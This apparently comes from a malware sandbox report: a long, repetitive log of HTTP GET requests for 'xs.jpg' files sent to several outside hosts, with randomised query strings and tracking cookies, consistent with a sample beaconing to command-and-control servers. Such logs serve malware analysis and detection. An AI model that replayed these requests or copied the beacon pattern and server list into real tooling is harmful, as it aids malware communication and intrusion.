                Source: global trafficHTTP traffic detected: GET /xs.jpg?222ff603=1720705545 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159275|1720159209|4|15|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2340b65a=-746306020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?23fa445e=1741073324 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?258061e0=109227296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?278faa5f=-976333861 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159279|1720159208|4|16|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?28beeeaa=-1560560984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159280|1720159209|4|16|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?29c644f8=1401719280 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159281|1720159210|4|16|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2abb0eed=-1427358796 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2be8bf39=-611599331 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?384fb301=-1031956472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159283|1720159208|4|17|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?39c6efac=1103453368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159284|1720159209|4|17|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3b304979=-645772344 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159284|1720159210|3|17|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3bc3b77a=718443874 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?3d425ee3=659903995 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3fa90d2a=-22793048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159287|1720159208|4|18|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4108a95f=-1021707235 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159288|1720159209|4|18|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?42301d5c=1257280204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159288|1720159210|3|18|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?43352d54=-912291844 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?449576d0=-1686058784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?46b38069=1186168937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159291|1720159208|4|19|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?535f3d04=-1497466360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159292|1720159209|4|19|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?54aff5f2=-1518358640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159292|1720159210|3|19|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5640212f=1539369033 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?58390002=436273170 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5b06aaf8=-1908232784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159295|1720159208|4|20|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5cf0e727=1559291687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159296|1720159209|4|20|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5e1194d3=879328498 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159296|1720159210|3|20|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?6a6910d4=-1448852656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?71e23396=15978566 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7bb4b600=1931354624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159299|1720159208|4|21|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?80fcb0d0=-2031561296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159300|1720159209|4|21|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?84b622e8=-2068438296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159300|1720159210|3|21|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?873c5f9c=728382888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?8ab49f65=-890217533 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?954ac704=-361372908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159303|1720159208|4|22|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?9cb0bbcd=-1406900530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159303|1720159209|3|22|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a1720886=-1392358218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159305|1720159210|4|22|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a48d053f=-615637126 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ac5b7b63=-1233100875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b96c587c=301362020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159308|1720159208|4|23|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?be1cb312=978721078 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159309|1720159209|4|23|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?c0085b83=2190860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159310|1720159210|4|23|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?c4838ba0=1300931296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?c8ef12d5=599542612 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?da83e528=-1365045656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159313|1720159208|4|24|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?dfb790c0=-37976576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159314|1720159209|4|24|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e4813b52=1065918270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159315|1720159210|4|24|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e8e7cd9a=1195273424 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?efa78aa1=-1645396026 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?fbcb7f39=-423298218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159318|1720159208|4|25|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?30c6233=409145752 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159318|1720159209|4|25|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a319847=342044814 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159320|1720159210|4|25|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?fd2ec80=1327406720 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?16ed0657=-833275633 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?21aa9ba6=223665456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159323|1720159208|4|26|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?28fcab5b=-1544376980 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159324|1720159209|5|26|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2eabe496=1566034220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159324|1720159210|4|26|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?32b2701b=-1743302575 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?23b8063f=-699390598 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?85bd571b=385178732 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159327|1720159208|4|27|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d2e6b20f=-1513266146 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159328|1720159209|4|27|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a943d155=-1525725868 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159329|1720159210|4|27|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ecd712f4=-1285796912 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2809b591=1343449890 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3f1ddc44=2117843080 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159332|1720159208|4|28|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d0ca9ad5=1918881919 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159333|1720159209|4|28|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d1dfc492=425645786 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159333|1720159210|4|28|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?9c9c7192=505180084 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d64dcbbc=-1399089288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a6bc8d8b=-593430045 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159337|1720159208|4|29|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1450be15=-1568280408 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159338|1720159209|4|29|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3a490c76=977865846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159338|1720159210|4|29|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d32cd494=-752036716 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
